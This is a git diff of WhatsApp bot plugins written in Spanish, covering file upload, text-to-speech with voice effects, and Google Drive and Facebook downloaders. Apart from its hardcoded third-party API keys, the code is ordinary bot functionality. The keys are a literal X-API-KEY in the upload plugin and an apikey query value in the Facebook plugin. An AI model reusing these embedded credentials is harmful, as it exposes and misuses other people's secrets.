-if (!media && !/video/.test(mime)) throw `𝑰𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒅𝒆 𝒏𝒖𝒆𝒗𝒐 𝒎𝒂́𝒔 𝒕𝒂𝒓𝒅𝒆`
-if (!media && !/audio/.test(mime)) throw `}𝑰𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒅𝒆 𝒏𝒖𝒆𝒗𝒐 𝒎𝒂́𝒔 𝒕𝒂𝒓𝒅𝒆`
-let audio = await toPTT(media, 'mp4')
-if (!audio.data && !/audio/.test(mime)) throw `𝑰𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒅𝒆 𝒏𝒖𝒆𝒗𝒐 𝒎𝒂́𝒔 𝒕𝒂𝒓𝒅𝒆.`
-if (!audio.data && !/video/.test(mime)) throw `𝑰𝒏𝒕𝒆𝒏𝒕𝒆́ 𝒅𝒆 𝒏𝒖𝒆𝒗𝒐 𝒎𝒂́𝒔 𝒕𝒂𝒓𝒅𝒆`
-conn.sendFile(m.chat, audio.data, 'error.mp3', '', m, true, { mimetype: 'audio/mp4' })
-}
-handler.help = ['tovn (reply)']
-handler.tags = ['audio']
-handler.command = /^tovn|vn|ptt$/i
-export default handler
diff --git a/plugins/convertidor-tourl.js b/plugins/convertidor-tourl.js
index cd8694861..6729c835e 100644
--- a/plugins/convertidor-tourl.js
+++ b/plugins/convertidor-tourl.js
@@ -1,41 +1,80 @@
-/*Créditos a https://github.com/Azami19*/
-
-import uploadFile from '../lib/uploadFile.js'
-import uploadImage from '../lib/uploadImage.js'
-import fetch from 'node-fetch'
-
-let handler = async (m) => {
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let pp = await conn.profilePictureUrl(who).catch(_ => gataImg.getRandom())
-let name = await conn.getName(who)
- let q = m.quoted ? m.quoted : m
- let mime = (q.msg || q).mimetype || ''
- if (!mime) throw '╰⊱❗️⊱ *𝙇𝙊 𝙐𝙎𝙊́ 𝙈𝘼𝙇* ⊱❗️⊱╮\n\n𝙍𝙀𝙎𝙋𝙊𝙉𝘿𝘼 𝘼 𝙐𝙉𝘼 𝙄𝙈𝘼𝙂𝙀𝙉 𝙊 𝙑𝙄𝘿𝙀𝙊'
- let media = await q.download()
- let isTele = /image\/(png|jpe?g|gif)|video\/mp4/.test(mime)
- let link = await (isTele ? uploadImage : uploadFile)(media)
- let caption = ` *📊 ENLACE:*\n${link}
- *🎁 TAMAÑO:*\n${media.length} bytes\n
- *🚀 EXPIRACION:*\n ${isTele ? '✅ NO EXPIRA' : '⚠️ DESCONOCIDO'}\n
- *🔰 ACORTADO:*\n${await shortUrl(link)}`
-
-conn.reply(m.chat, caption, m, { contextInfo: {
- externalAdReply :{
- mediaUrl: md,
- mediaType: 2,
- title: wm,
- body: botdate,
- thumbnail: await(await fetch(link)).buffer(),
- sourceUrl: link
- }}
- })
+import uploadFile, { quax, RESTfulAPI, catbox, uguu, filechan, pixeldrain, gofile, krakenfiles, telegraph } from '../lib/uploadFile.js';
+import uploadImage from '../lib/uploadImage.js';
+import fetch from "node-fetch";
+import FormData from "form-data";
+
+const handler = async (m, { args, usedPrefix, command }) => {
+const q = m.quoted ? m.quoted : m;
+const mime = (q.msg || q).mimetype || "";
+
+if (!mime) throw `*\`⚠️ ¿𝐘 𝐋𝐀 𝐈𝐌𝐀𝐆𝐄𝐍/𝐕𝐈𝐃𝐄𝐎?\`*
+
+*• Ejemplo de Uso de ${usedPrefix + command}:*
+
+➔ Responde a una imagen, sticker o video corto con el comando: *${usedPrefix + command}*
+
+Subirá automáticamente el archivo a servidores como *qu.ax*, *catbox*, *cdn-skyultraplus*, etc.
+
+🌐 *\`¿Quieres elegir un servidor específico?\`*
+> Puedes usar:
+
+➔ *${usedPrefix + command} quax*
+➔ *${usedPrefix + command} catbox*
+➔ *${usedPrefix + command} sky*
+➔ *${usedPrefix + command} uguu*
+➔ *${usedPrefix + command} restfulapi*
+➔ *${usedPrefix + command} gofile*
+➔ *${usedPrefix + command} telegraph*
+
+📝 *Notas:*
+- *El archivo debe ser una imagen, sticker o video corto.*
+- *Enlaces de qu.ax y catbox no expiran.*
+- *El CDN de SkyUltraPlus no tiene caducidad y es más rápido (pagando) obtener mas información aqui:* https://cdn.skyultraplus.com`;
+
+const media = await q.download();
+if (!media) throw "❌ No se pudo descargar el archivo.";
+const option = (args[0] || "").toLowerCase();
+const services = { quax, restfulapi: RESTfulAPI, catbox, uguu, filechan, pixeldrain, gofile, krakenfiles, telegraph };
+try {
+if (option === "sky") {
+let ext = mime.split("/")[1] || "jpg";
+if (ext === "jpeg") ext = "jpg";
+const form = new FormData();
+form.append("name", "archivo_bot");
+form.append("file", media, {
+filename: `upload.${ext}`,
+contentType: mime,
+});
+
+const res = await fetch("https://cdn.skyultraplus.com/upload.php", {
+method: "POST",
+headers: {
+...form.getHeaders(),
+"X-API-KEY": "4aef4a55e558",
+},
+body: form,
+});
+const json = await res.json().catch(() => ({}));
+if (!json.ok) throw `Status: ${res.status}\nerror: ${JSON.stringify(json)}`;
+const link = json.file?.url || json.url;
+return m.reply(link);
}
-handler.help = ['tourl']
-handler.tags = ['herramientas']
-handler.command = /^(tourl|upload)$/i
-export default handler
-
-async function shortUrl(url) {
- let res = await fetch(`https://tinyurl.com/api-create.php?url=${url}`)
- return await res.text()
+
+if (option && services[option]) {
+const link = await services[option](media);
+return m.reply(link);
}
+
+const isTele = /image\/(png|jpe?g|gif)|video\/mp4/.test(mime);
+const link = await (isTele ? uploadImage : uploadFile)(media);
+return m.reply(link);
+} catch (e) {
+console.error(e);
+throw '❌ Error al subir el archivo. Intenta con otra opción:\n' + Object.keys(services).concat(["skyultra"]).map(v => `➔ ${usedPrefix}${command} ${v}`).join('\n');
+}};
+handler.help = ['tourl '];
+handler.tags = ['convertidor'];
+handler.command = /^(upload|tourl)$/i;
+handler.register = true;
+
+export default handler;
diff --git a/plugins/convertidor-tovideo.js b/plugins/convertidor-tovideo.js
deleted file mode 100644
index b67614504..000000000
--- a/plugins/convertidor-tovideo.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import { webp2mp4 } from '../lib/webp2mp4.js'
-import { ffmpeg } from '../lib/converter.js'
-let handler = async (m, { conn, usedPrefix, command }) => {
-if (!m.quoted) throw `𝑹𝒆𝒔𝒑𝒐𝒏𝒅𝒆 𝒂𝒍 𝒗𝒊𝒅𝒆𝒐 𝒑𝒂𝒓𝒂 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒆𝒏 𝒗𝒊𝒅𝒆𝒐\n\n*${usedPrefix + command}*`
-let mime = m.quoted.mimetype || ''
-if (!/webp|audio/.test(mime)) throw `𝑹𝒆𝒔𝒑𝒐𝒏𝒅𝒆 𝒂𝒍 𝒂𝒖𝒅𝒊𝒐 𝒑𝒂𝒓𝒂 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒆𝒏 𝑽𝒊𝒅𝒆𝒐\n\n*${usedPrefix + command}*`
-let media = await m.quoted.download()
-let out = Buffer.alloc(0)
-if (/webp/.test(mime)) {
-out = await webp2mp4(media)
-} else if (/audio/.test(mime)) {
-out = await ffmpeg(media, [
-'-filter_complex', 'color',
-'-pix_fmt', 'yuv420p',
-'-crf', '51',
-'-c:a', 'copy',
-'-shortest'
-], 'mp3', 'mp4')
-}
-await conn.sendFile(m.chat, out, 'error.mp4', '*FUE UN ÉXITO!!*', m, 0, { thumbnail: out })
-}
-handler.help = ['tovideo']
-handler.tags = ['sticker']
-handler.command = ['tovideo']
-export default handler
diff --git a/plugins/convertidor-tts.js b/plugins/convertidor-tts.js
index 1990e1a5f..7ed2c3cde 100644
--- a/plugins/convertidor-tts.js
+++ b/plugins/convertidor-tts.js
@@ -1,42 +1,91 @@
-import gtts from 'node-gtts'
-import { readFileSync, unlinkSync } from 'fs'
-import { join } from 'path'
-
-const defaultLang = 'es'
-let handler = async (m, { conn, args, usedPrefix, command }) => {
-
-let lang = args[0]
-let text = args.slice(1).join(' ')
-if ((args[0] || '').length !== 2) {
-lang = defaultLang
-text = args.join(' ')
+import fs from "fs"
+import path from "path"
+import { fileURLToPath } from "url"
+import { spawn } from "child_process"
+import gTTS from "node-gtts"
+
+const __filename = fileURLToPath(import.meta.url)
+const __dirname = path.dirname(__filename)
+const TMP_DIR = path.join(__dirname, "../tmp")
+if (!fs.existsSync(TMP_DIR)) fs.mkdirSync(TMP_DIR, { recursive: true })
+
+const handler = async (m, { conn, args, usedPrefix, command }) => {
+if (!args.length && !m.quoted?.text) return m.reply(`*Uso:* ${usedPrefix + command} \n\n*Voces:* anonymous, robot, grave, aguda, niño\n*Idiomas:* es, en, pt, fr, etc.\n\nEjemplo:\n${usedPrefix + command} anonymous Hola\n${usedPrefix + command} es hello`)
+m.react("🎙️")
+conn.sendPresenceUpdate('recording', m.chat)
+const first = args[0].toLowerCase()
+const voces = ["anonymous", "robot", "grave", "aguda", "niño", "demonio"]
+let effect = null, lang = "es", text = ""
+
+if (voces.includes(first)) {
+effect = first
+text = args.slice(1).join(" ")
+} else if (/^[a-z]{2}$/.test(first)) {
+lang = first
+text = args.slice(1).join(" ")
+} else {
+text = args.join(" ")
}
-if (!text && m.quoted?.text) text = m.quoted.text
-
-let res
-try { res = await tts(text, lang) }
-catch (e) {
-m.reply(e + '')
-text = args.join(' ')
-if (!text) throw `𝑬𝒔𝒄𝒓𝒊𝒃𝒂 𝒖𝒏 𝒕𝒆𝒙𝒕𝒐 𝒑𝒂𝒓𝒂 𝒄𝒐𝒏𝒗𝒆𝒓𝒕𝒊𝒓 𝒂 𝒏𝒐𝒕𝒂 𝒅𝒆 𝒗𝒐𝒛\n𝑬𝒋𝒆𝒎𝒑𝒍𝒐\n*${usedPrefix + command} es hola que onda*`
-res = await tts(text, defaultLang)
-} finally {
-if (res) conn.sendFile(m.chat, res, 'tts.opus', null, m, true)
+
+if (!text) return m.reply("⚠️ Escribe un texto para convertir a voz.")
+try {
+const wav = await synthTTS(text, lang)
+const ogg = await applyEffect(wav, effect)
+const buffer = fs.readFileSync(ogg)
+await conn.sendMessage(m.chat, { audio: buffer, mimetype: "audio/ogg; codecs=opus", ptt: true }, { quoted: m })
+fs.unlinkSync(wav); fs.unlinkSync(ogg)
+} catch (e) {
+m.reply("❌ Error: " + e.message)
}}
-handler.help = ['tts ']
-handler.tags = ['tools']
-handler.command = /^g?tts|totts$/i
+handler.help = ["tts "]
+handler.tags = ["convertidor"]
+handler.command = /^g?tts$/i
+handler.register = true;
+
export default handler
-function tts(text, lang = 'es') {
-console.log(lang, text)
-return new Promise((resolve, reject) => {
-try {
-let tts = gtts(lang)
-let filePath = join(global.__dirname(import.meta.url), '../tmp', (1 * new Date) + '.wav')
-tts.save(filePath, text, () => {
-resolve(readFileSync(filePath))
-unlinkSync(filePath)
-})
-} catch (e) { reject(e) }
-})}
+function runFFmpeg(args) {
+ return new Promise((resolve, reject) => {
+ const ff = spawn("ffmpeg", args)
+ let stderr = ""
+ ff.stderr.on("data", (d) => (stderr += d.toString()))
+ ff.on("close", (code) => {
+ if (code === 0) resolve(true)
+ else reject(new Error("ffmpeg error:\n" + stderr))
+ })
+ })
+}
+
+async function synthTTS(text, lang = "es") {
+ const outPath = path.join(TMP_DIR, `${Date.now()}-raw.wav`)
+ const tts = gTTS(lang)
+ await new Promise((res, rej) => {
+ tts.save(outPath, text, (err) => (err ? rej(err) : res()))
+ })
+ return outPath
+}
+
+async function applyEffect(inputWav, style = null) {
+ const outPath = path.join(TMP_DIR, `${Date.now()}-out.ogg`)
+ const styleFilters = {
+ anonymous: "asetrate=44100*0.75,lowpass=f=1400,highpass=f=180",
+ robot: "chorus=0.6:0.9:55:0.4:0.25:2",
+ grave: "asetrate=44100*0.80",
+ aguda: "asetrate=44100*1.20",
+ niño: "asetrate=44100*1.25,treble=g=5",
+ demonio: "asetrate=44100*0.65,areverb=70:70:100",
+ }
+ const af = style && styleFilters[style] ? styleFilters[style] : "anull"
+ const args = [
+ "-y",
+ "-i", inputWav,
+ "-af", af,
+ "-ac", "1",
+ "-ar", "48000",
+ "-c:a", "libopus",
+ "-b:a", "48k",
+ outPath,
+ ]
+ await runFFmpeg(args)
+ return outPath
+}
\ No newline at end of file
diff --git a/plugins/descargas-consejos.js b/plugins/descargas-consejos.js
deleted file mode 100644
index 30d4d3a54..000000000
--- a/plugins/descargas-consejos.js
+++ /dev/null
@@ -1,95 +0,0 @@
-import translate from '@vitalets/google-translate-api'
-import fetch from 'node-fetch'
-import axios from "axios"
-
-let handler = async (m, { conn, usedPrefix, command }) => {
-let frep = { contextInfo: { externalAdReply: {title: wm, body: author, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(gataMenu.getRandom())).buffer() }}}
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-try {
-if (command == 'consejo' || command == 'advice') {
-let img = 'https://img.freepik.com/vector-premium/caracter-gato-ilustracion-hoja-trebol_75474-1263.jpg'
-let list = global.motivation
-let contenido = list[Math.floor(Math.random() * list.length)]
-let result = await translate(`${contenido}`, { to: lenguajeGB.lenguaje(), autoCorrect: true })
-let texto = `*╭━━・☘️・━━━━・☘️・━━⬣*
-
-*ღ _${result.text}_*
-
-*╰━━・☘️・━━━━・☘️・━━⬣*`
-conn.sendFile(m.chat, img, 'error.png', texto.trim(), fkontak)}
-//await conn.sendButton(m.chat, texto.trim(), wm, img, [[lenguajeGB.smsConj(), `${usedPrefix + command}`], [lenguajeGB.smsConMenu(), `${usedPrefix}menu`]], m, frep)}
-
-if (command == 'frase2' || command == 'phrase2') {
-let img = 'https://superpet.pe/blog/wp-content/uploads/2022/05/nombres-para-gatos-blancos.jpg'
-let list = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/frase2.json`)).data
-let contenido = await list[Math.floor(list.length * Math.random())]
-let frase = contenido.motivasi
-let frase2 = await translate(`${frase}`, { to: lenguajeGB.lenguaje(), autoCorrect: true })
-let texto = `*╭━━・☘️・━━━━・☘️・━━⬣*
-
-*ღ ${frase2.text}*
-
-*╰━━・☘️・━━━━・☘️・━━⬣*`
-conn.sendFile(m.chat, img, 'error.png', texto.trim(), m, fkontak)}
-//await conn.sendButton(m.chat, texto.trim(), wm, img, [[lenguajeGB.smsFras(), `${usedPrefix + command}`], [lenguajeGB.smsConMenu(), `${usedPrefix}menu`]], m, frep)}
-} catch (e) {
-await m.reply(lenguajeGB['smsMalError3']() + '\n*' + lenguajeGB.smsMensError1() + '*\n*' + usedPrefix + `${lenguajeGB.lenguaje() == 'es' ? 'reporte' : 'report'}` + '* ' + `${lenguajeGB.smsMensError2()} ` + usedPrefix + command)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)}
-}
-handler.command = ['consejo', 'advice', 'frase2', 'phrase2']
-handler.register = true
-export default handler
-
-global.motivation = [
- "Jangan bicara, bertindak saja. Jangan katakan, tunjukkan saja. Jangan janji, buktikan saja.",
- "Jangan pernah berhenti melakukan yang terbaik hanya karena seseorang tidak memberi Anda penghargaan.",
- "Bekerja saat mereka tidur. Belajar saat mereka berpesta. Hemat sementara mereka menghabiskan. Hiduplah seperti mimpi mereka.",
- "Kunci sukses adalah memusatkan pikiran sadar kita pada hal-hal yang kita inginkan, bukan hal-hal yang kita takuti.",
- "Jangan takut gagal. Ketakutan berada di tempat yang sama tahun depan seperti Anda saat ini.",
- "Jika kita terus melakukan apa yang kita lakukan, kita akan terus mendapatkan apa yang kita dapatkan.",
- "Jika Anda tidak dapat mengatasi stres, Anda tidak akan mengelola kesuksesan.",
- "Bersikap keras kepala tentang tujuan Anda dan fleksibel tentang metode Anda.",
- "Kerja keras mengalahkan bakat ketika bakat tidak bekerja keras.",
- "Ingatlah bahwa pelajaran terbesar dalam hidup biasanya dipelajari dari saat-saat terburuk dan dari kesalahan terburuk.",
- "Hidup bukan tentang menunggu badai berlalu, tetapi belajar menari di tengah hujan.",
- "Jika rencananya tidak berhasil, ubah rencananya bukan tujuannya.",
- "Jangan takut kalau hidupmu akan berakhir; takutlah kalau hidupmu tak pernah dimulai.",
- "Orang yang benar-benar hebat adalah orang yang membuat setiap orang merasa hebat.",
- "Pengalaman adalah guru yang berat karena dia memberikan tes terlebih dahulu, kemudian pelajarannya.",
- "Mengetahui seberapa banyak yang perlu diketahui adalah awal dari belajar untuk hidup.",
- "Sukses bukanlah akhir, kegagalan tidak fatal. Yang terpenting adalah keberanian untuk melanjutkan.",
- "Lebih baik gagal dalam orisinalitas daripada berhasil meniru.",
- "Berani bermimpi, tapi yang lebih penting, berani melakukan tindakan di balik impianmu.",
- "Tetapkan tujuan Anda tinggi-tinggi, dan jangan berhenti sampai Anda mencapainya.",
- "Kembangkan kesuksesan dari kegagalan. Keputusasaan dan kegagalan adalah dua batu loncatan paling pasti menuju sukses.",
- "Jenius adalah satu persen inspirasi dan sembilan puluh sembilan persen keringat.",
- "Sukses adalah tempat persiapan dan kesempatan bertemu.",
- "Ketekunan gagal 19 kali dan berhasil pada kesempatam yang ke-20.",
- "Jalan menuju sukses dan jalan menuju kegagalan hampir persis sama.",
- "Sukses biasanya datang kepada mereka yang terlalu sibuk mencarinya.",
- "Jangan tunda pekerjaanmu sampai besok, sementara kau bisa mengerjakannya hari ini.",
- "20 tahun dari sekarang, kau mungkin lebih kecewa dengan hal-hal yang tidak sempat kau lakukan alih-alih yang sudah.",
- "Jangan habiskan waktumu memukuli tembok dan berharap bisa mengubahnya menjadi pintu.",
- "Kesempatan itu mirip seperti matahari terbit. Kalau kau menunggu terlalu lama, kau bisa melewatkannya.",
- "Hidup ini terdiri dari 10 persen apa yang terjadi padamu dan 90 persen bagaimana caramu menyikapinya.",
- "Ada tiga cara untuk mencapai kesuksesan tertinggi: Cara pertama adalah bersikap baik. Cara kedua adalah bersikap baik. Cara ketiga adalah menjadi baik.",
- "Alasan nomor satu orang gagal dalam hidup adalah karena mereka mendengarkan teman, keluarga, dan tetangga mereka.",
- "Waktu lebih berharga daripada uang. Kamu bisa mendapatkan lebih banyak uang, tetapi kamu tidak bisa mendapatkan lebih banyak waktu.",
- "Penetapan tujuan adalah rahasia masa depan yang menarik.",
- "Saat kita berusaha untuk menjadi lebih baik dari kita, segala sesuatu di sekitar kita juga menjadi lebih baik.",
- "Pertumbuhan dimulai ketika kita mulai menerima kelemahan kita sendiri.",
- "Janganlah pernah menyerah ketika Anda masih mampu berusaha lagi. Tidak ada kata berakhir sampai Anda berhenti mencoba.",
- "Kemauan adalah kunci sukses. Orang-orang sukses, berusaha keras apa pun yang mereka rasakan dengan menerapkan keinginan mereka untuk mengatasi sikap apatis, keraguan atau ketakutan.",
- "Janganlah pernah menyerah ketika Anda masih mampu berusaha lagi. Tidak ada kata berakhir sampai Anda berhenti mencoba.",
- "Kemauan adalah kunci sukses. Orang-orang sukses, berusaha keras apa pun yang mereka rasakan dengan menerapkan keinginan mereka untuk mengatasi sikap apatis, keraguan atau ketakutan.",
- "Hal pertama yang dilakukan orang sukses adalah memandang kegagalan sebagai sinyal positif untuk sukses.",
- "Ciri khas orang sukses adalah mereka selalu berusaha keras untuk mempelajari hal-hal baru.",
- "Sukses adalah mendapatkan apa yang kamu inginkan, kebahagiaan menginginkan apa yang kamu dapatkan.",
- "Orang pesimis melihat kesulitan di setiap kesempatan. Orang yang optimis melihat peluang dalam setiap kesulitan.",
- "Keraguan membunuh lebih banyak mimpi daripada kegagalan.",
- "Lakukan apa yang harus kamu lakukan sampai kamu dapat melakukan apa yang ingin kamu lakukan.",
- "Optimistis adalah salah satu kualitas yang lebih terkait dengan kesuksesan dan kebahagiaan daripada yang lain.",
- "Penghargaan paling tinggi bagi seorang pekerja keras bukanlah apa yang dia peroleh dari pekerjaan itu, tapi seberapa berkembang ia dengan kerja kerasnya itu.",
- "Cara terbaik untuk memulai adalah dengan berhenti berbicara dan mulai melakukan.",
- "Kegagalan tidak akan pernah menyusul jika tekad untuk sukses cukup kuat."]
diff --git a/plugins/descargas-drive.js b/plugins/descargas-drive.js
new file mode 100644
index 000000000..a7789fedc
--- /dev/null
+++ b/plugins/descargas-drive.js
@@ -0,0 +1,99 @@
+import fetch from 'node-fetch';
+const userCaptions = new Map();
+const userRequests = {};
+
+let handler = async (m, { conn, args, usedPrefix, command }) => {
+if (!args[0]) return m.reply(`⚠️ Ingrese una Url de Drive\n• Ejemplo: ${usedPrefix + command} https://drive.google.com/file/d/1-8BSwPSAycKYMqveGm_JTu2c_wIDkJIt/view?usp=drivesdk`)
+
+if (userRequests[m.sender]) {
+conn.reply(m.chat, `⏳ *Hey @${m.sender.split('@')[0]} Espera...* Ya hay una solicitud en proceso. Por favor, espera a que termine antes de hacer otra...`, userCaptions.get(m.sender) || m)
+return;
+}
+userRequests[m.sender] = true;
+m.react("📥");
+try {
+const waitMessageSent = conn.reply(m.chat, `*⌛ 𝐂𝐚𝐥𝐦𝐚 ✋ 𝐂𝐥𝐚𝐜𝐤, 𝐘𝐚 𝐞𝐬𝐭𝐨𝐲 𝐄𝐧𝐯𝐢𝐚𝐝𝐨 𝐞𝐥 𝐚𝐫𝐜𝐡𝐢𝐯𝐨 🚀*\n*𝐒𝐢 𝐧𝐨 𝐥𝐞 𝐥𝐥𝐞𝐠𝐚 𝐞𝐥 𝐚𝐫𝐜𝐡𝐢𝐯𝐨 𝐞𝐬 𝐝𝐞𝐛𝐢𝐝𝐨 𝐚 𝐪𝐮𝐞 𝐞𝐬 𝐦𝐮𝐲 𝐩𝐞𝐬𝐚𝐝𝐨*`, m)
+userCaptions.set(m.sender, waitMessageSent);
+const downloadAttempts = [
+async () => {
+const api = await fetch(`https://api.siputzx.my.id/api/d/gdrive?url=${args[0]}`);
+const data = await api.json();
+return { url: data.data.download,
+filename: data.data.name,
+};
+},
+async () => {
+const api = await fetch(`https://apis.davidcyriltech.my.id/gdrive?url=${args[0]}`);
+const data = await api.json();
+return { url: data.download_link,
+filename: data.name,
+}},
+];
+
+let fileData = null;
+
+for (const attempt of downloadAttempts) {
+try {
+fileData = await attempt();
+if (fileData) break; // Si se obtiene un resultado, salir del bucle
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue; // Si falla, intentar con la siguiente API
+}}
+
+if (!fileData) {
+throw new Error('No se pudo descargar el archivo desde ninguna API');
+}
+
+const { url, filename } = fileData;
+const mimetype = getMimetype(filename);
+await conn.sendMessage(m.chat, { document: { url: url }, mimetype: mimetype, fileName: filename, caption: null }, { quoted: m });
+await m.react("✅");
+} catch (e) {
+m.react(`❌`);
+m.reply(`\`\`\`⚠️ OCURRIO UN ERROR ⚠️\`\`\`\n\n> *Reporta el siguiente error a mi creador con el comando:* #report\n\n>>> ${e} <<<<`);
+console.log(e);
+} finally {
+delete userRequests[m.sender];
+}
+};
+handler.help = ['drive'].map(v => v + ' ');
+handler.tags = ['downloader'];
+handler.command = /^(drive|drivedl|dldrive|gdrive)$/i;
+handler.register = true;
+handler.limit = 3;
+
+export default handler;
+
+const getMimetype = (fileName) => {
+ const extension = fileName.split('.').pop().toLowerCase();
+ const mimeTypes = {
+ 'pdf': 'application/pdf',
+ 'mp4': 'video/mp4',
+ 'jpg': 'image/jpeg',
+ 'jpeg': 'image/jpeg',
+ 'png': 'image/png',
+ 'zip': 'application/zip',
+ 'doc': 'application/msword',
+ 'docx': 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+ 'xls': 'application/vnd.ms-excel',
+ 'xlsx': 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+ 'ppt': 'application/vnd.ms-powerpoint',
+ 'pptx': 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
+ 'txt': 'text/plain',
+ 'mp3': 'audio/mpeg',
+ 'apk': 'application/vnd.android.package-archive',
+ 'rar': 'application/x-rar-compressed',
+ '7z': 'application/x-7z-compressed',
+ 'mkv': 'video/x-matroska',
+ 'avi': 'video/x-msvideo',
+ 'mov': 'video/quicktime',
+ 'wmv': 'video/x-ms-wmv',
+ 'flv': 'video/x-flv',
+ 'gif': 'image/gif',
+ 'webp': 'image/webp',
+ 'ogg': 'audio/ogg',
+ 'wav': 'audio/wav',
+ };
+ return mimeTypes[extension] || 'application/octet-stream'; // Tipo por defecto
+};
\ No newline at end of file
diff --git a/plugins/descargas-facebook.js b/plugins/descargas-facebook.js
deleted file mode 100644
index 155c4c68c..000000000
--- a/plugins/descargas-facebook.js
+++ /dev/null
@@ -1,139 +0,0 @@
-import fg from 'api-dylux';
-import fetch from 'node-fetch';
-import {savefrom, facebookdl, facebookdlv2} from '@bochilteam/scraper';
-import fbDownloader from 'fb-downloader-scrapper';
-import {facebook} from '@xct007/frieren-scraper';
-import axios from 'axios';
-const handler = async (m, {conn, args, command, usedPrefix}) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!args[0]) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} https://www.facebook.com/watch?v=636541475139`, fkontak, m)
-if (!args[0].match(/www.facebook.com|fb.watch/g)) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆 𝙋𝘼𝙍𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙍 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊\n*${usedPrefix + command} https://www.facebook.com/watch?v=636541475139*`, fkontak, m)
-try {
-await conn.reply(m.chat, `${lenguajeGB['smsAvisoEG']()}𝙀𝙎𝙋𝙀𝙍𝙀 𝙐𝙉 𝙈𝙊𝙈𝙀𝙉𝙏𝙊, 𝙎𝙀 𝙀𝙎𝙏𝘼 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙉𝘿𝙊 𝙎𝙐 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆`, fkontak, m)
-const d2ata = await facebook.v1(args[0]);
-let r2es = '';
-if (d2ata.urls && d2ata.urls.length > 0) {
-r2es = `${d2ata.urls[0]?.hd || d2ata.urls[1]?.sd || ''}`
-}
-conn.sendFile(m.chat, r2es, 'error.mp4', `✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}`, m);
-} catch (err1) {
-try {
-const req = await igeh(args[0])
-conn.sendMessage(m.chat, {video: {url: req.url_list}}, m)
-} catch (err1_2) {
-try {
-const Rres = await fetch(`https://api.lolhuman.xyz/api/facebook?apikey=${lolkeysapi}&url=${args[0]}`);
-const Jjson = await Rres.json();
-let VIDEO = Jjson.result[0];
-if (VIDEO == '' || !VIDEO || VIDEO == null) VIDEO = Jjson.result[1];
-conn.sendFile(m.chat, VIDEO, 'error.mp4', `✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}`, m);
-} catch (err2) {
-try {
-const ress = await fg.fbdl(args[0]);
-const urll = await ress.data[0].url;
-await conn.sendFile(m.chat, urll, 'error.mp4', `✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}`, m);
-} catch (err3) {
-try {
-const res = await fbDownloader(args[0]);
-for (const result of res.download) {
-const ur = result.url;
-await conn.sendFile(m.chat, ur, 'error.mp4', `✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}`, m);
-}
-} catch (err4) {
-try {
-const res3 = await fetch(`https://latam-api.vercel.app/api/facebookdl?apikey=nekosmic&q=${args[0]}`);
-const json = await res3.json();
-const url3 = await json.video;
-await conn.sendFile(m.chat, url3, 'error.mp4', `✅ 𝙑𝙄𝘿𝙀𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆\n${wm}`, m);
-} catch (err5) {
-try {
-const {result} = await facebookdl(args[0]).catch(async (_) => await facebookdlv2(args[0])).catch(async (_) => await savefrom(args[0]));
